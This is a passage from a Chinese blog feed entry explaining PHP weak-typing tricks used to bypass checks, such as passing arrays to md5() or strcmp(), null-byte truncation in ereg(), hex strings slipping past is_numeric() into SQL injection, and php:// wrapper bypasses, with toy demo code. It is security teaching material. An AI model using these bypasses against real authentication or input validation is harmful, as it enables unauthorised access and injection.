md5($b); <span class="keyword">echo</span> $md5_b.<span class="string">'<br>'</span>;</span><br><span class="line"><span class="keyword">if</span> ($md5_a == $md5_b){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'True'</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'False'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115151108336.png" alt="image-20191115144641604"></p><p>这种问题也叫MD5碰撞,更详细更多的可以参考我之前的文章:<a href="https://www.betao.cn/archives/md5same.html">https://www.betao.cn/archives/md5same.html</a> </p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$a = $_GET[<span class="string">'a'</span>];</span><br><span class="line">$b = $_GET[<span class="string">'b'</span>];</span><br><span class="line"><span class="keyword">echo</span> md5($a).<span class="string">'<br>'</span>;</span><br><span class="line"><span class="keyword">echo</span> md5($b).<span class="string">'<br>'</span>;</span><br><span class="line"><span class="keyword">if</span> (md5($a) === md5($b)){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'True'</span>; <span class="comment">// 输出True</span></span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'Flase'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// betao.cn</span></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115145023251.png" alt="image-20191115145023251"></p><p>上面代码产生的原因为,md5不能处理数组,返回null</p><h2 id="转换"><a href="#转换" class="headerlink" title="转换"></a>转换</h2><p> php会自动进行转换,比如16进制,科学计数法等,有时也用这点绕过 </p><h2 id="strcmp函数数组绕过"><a href="#strcmp函数数组绕过" class="headerlink" title="strcmp函数数组绕过"></a>strcmp函数数组绕过</h2><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115152253240.png" alt="image-20191115151108336"></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$a = $_GET[<span class="string">'a'</span>];</span><br><span class="line"><span class="keyword">if</span> (strcmp(<span class="string">'betao.cn'</span>, $a)){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'Flase'</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'True'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115151220918.png" alt="image-20191115151220918"></p><p>利用数组<code>a[]=1</code>, 返回True,成功绕过验证</p><p> strcmp()函数只有在相等的情况下返回0。<br>那么我们传入一个数组,它会返回NULL,而判断使用了,而NULL=0是bool(true),这样就成功绕过。 </p><h2 id="ereg-或者-eregi"><a href="#ereg-或者-eregi" class="headerlink" title="ereg() 或者 eregi()"></a>ereg() 或者 eregi()</h2><p> <code>ereg()</code> 函数或 <code>eregi()</code> 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据 </p><p>详细的说明,参考: <a href="https://www.betao.cn/archives/giveup.html">https://www.betao.cn/archives/giveup.html</a> </p><h2 id="is-numeric"><a href="#is-numeric" class="headerlink" title="is_numeric()"></a>is_numeric()</h2><p> <strong>is_numeric()**作用: 判断变量是否为数字或数字字符串,不仅检查10进制,</strong>16进制**是可以 </p><ol><li><p><strong>当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过</strong> </p></li><li><p>16进制也可以绕过is_numeric()检验,可以用来绕过sql注入里的过滤 </p></li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$a = $_GET[<span class="string">'a'</span>];</span><br><span class="line">$b = $_GET[<span class="string">'b'</span>];</span><br><span class="line">$c = is_numeric($a) <span class="keyword">and</span> is_numeric($b);</span><br><span class="line">var_dump(is_numeric($a));</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<br>'</span>;</span><br><span class="line">var_dump(is_numeric($b));</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<br>'</span>;</span><br><span class="line">var_dump($c); <span class="comment">// 返回True</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<br>'</span>;</span><br><span class="line">$test = <span class="literal">false</span> <span class="keyword">and</span> <span class="literal">true</span>; <span class="comment">// 返回False</span></span><br><span class="line">var_dump($test);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115153145283.png" alt="image-20191115152253240"></p><pre><code>is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。所以,查看函数发现该函数对对于第一个空格字符会跳过空格字符判断,接着后面的判断!该函数还可能造成sql注入,例如将‘1 or 1'转换为16进制形式,再传参,就可以造成sql注入</code></pre><h2 id="switch"><a href="#switch" class="headerlink" title="switch()"></a>switch()</h2><p>当switch()没有break时可以继续往下执行<br>这里也有自动转换,比如$a = a,会当0执行,$a=1a,会当1执行……</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115153842529.png" alt="image-20191115153145283"></p><h2 id="NULL-0-”0″-array-使用-和false比较时,都会返回true"><a href="#NULL-0-”0″-array-使用-和false比较时,都会返回true" class="headerlink" title="NULL,0,”0″,array()使用==和false比较时,都会返回true"></a>NULL,0,”0″,array()使用==和false比较时,都会返回true</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$a = <span class="literal">NULL</span>;</span><br><span class="line">$b = <span class="number">0</span>;</span><br><span class="line">$c = <span class="string">"0"</span>;</span><br><span class="line">$d = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 以下是三元运算符</span></span><br><span class="line"><span class="keyword">echo</span> $a == <span class="literal">false</span> ? <span class="string">'True'</span>: <span class="string">'False'</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<hr>'</span>;</span><br><span class="line"><span class="keyword">echo</span> $b == <span class="literal">false</span> ? <span class="string">'True'</span>: <span class="string">'False'</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<hr>'</span>;</span><br><span class="line"><span class="keyword">echo</span> $b == <span class="literal">false</span> ? <span class="string">'True'</span>: <span class="string">'False'</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<hr>'</span>;</span><br><span class="line"><span class="keyword">echo</span> $b == <span class="literal">false</span> ? <span class="string">'True'</span>: <span class="string">'False'</span>;</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115144641604.png" alt="image-20191115153842529"></p><h2 id="php-伪协议绕过"><a href="#php-伪协议绕过" class="headerlink" title="php://伪协议绕过"></a>php://伪协议绕过</h2><p>接收参数中不能出现某一字符,但下面又必须使用可以<code>php://伪协议</code>绕过</p><p>目前遇到的是<code>file_get_contents()</code>,其他情况具体而定</p><h2 id="array-search"><a href="#array-search" class="headerlink" title="array_search()"></a>array_search()</h2><p> 用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比 </p>]]></content>
<summary type="html"><h1 id="php黑魔法"><a href="#php黑魔法" class="headerlink" title="php黑魔法"></a>php黑魔法</h1><p> php黑魔法就是所谓的弱类型比较,一些函数返回null,利用数组返回True的一些问题</p>
<h2 </summary>
<category term="PHP" scheme="https://taonn.github.io/categories/PHP/"/>
<category term="php安全" scheme="https://taonn.github.io/tags/php%E5%AE%89%E5%85%A8/"/>
</entry>
</feed>